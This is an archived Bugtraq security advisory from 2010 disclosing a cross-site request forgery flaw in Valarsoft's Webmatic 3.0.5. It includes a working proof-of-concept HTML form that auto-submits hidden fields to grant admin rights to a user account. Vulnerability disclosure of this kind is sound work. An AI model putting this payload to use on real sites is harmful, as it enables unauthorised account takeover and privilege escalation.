bugtraq - XSRF (CSRF) in Webmatic

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Message-Id: <201008261253.o7QCrv6C046662@htbridge.ch>
Date: Thu, 26 Aug 2010 14:53:57 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Webmatic

Vulnerability ID: HTB22570
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_webmatic.html
Product: Webmatic
Vendor: Valarsoft ( http://www.valarsoft.com/ ) 
Vulnerable Version: 3.0.5 and Probably Prior Versions
Vendor Notification: 09 August 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the user editing script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/index.php" method="post"  name="main" >
<input type="hidden" name="groupID" value="1" />
<input type="hidden" name="name" value="username" />
<input type="hidden" name="surname" value="user" />
<input type="hidden" name="avatar" value="bsd.png" />
<input type="hidden" name="address" value="" />
<input type="hidden" name="zip_code" value="" />
<input type="hidden" name="city" value="" />
<input type="hidden" name="stateID" value="0" />
<input type="hidden" name="countryID" value="0" />
<input type="hidden" name="phone" value="" />
<input type="hidden" name="fax" value="" />
<input type="hidden" name="cell" value="" />
<input type="hidden" name="email" value="email@...mple.com" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="icq" value="" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="birth_date" value="0000-00-00" />
<input type="hidden" name="gender" value="M" />
<input type="hidden" name="birth_city" value="" />
<input type="hidden" name="birth_stateID" value="0" />
<input type="hidden" name="birth_countryID" value="0" />
<input type="hidden" name="enabled" value="1" />
<input type="hidden" name="notes" value="" />
<input type="hidden" name="admin" value="1" />
<input type="hidden" name="send" value="Save" />
<input type="hidden" name="stage" value="2" />
<input type="hidden" name="section" value="13" />
<input type="hidden" name="action" value="232" />
<input type="hidden" name="userID" value="7" />

</form>
<script>
document.main.submit();
</script>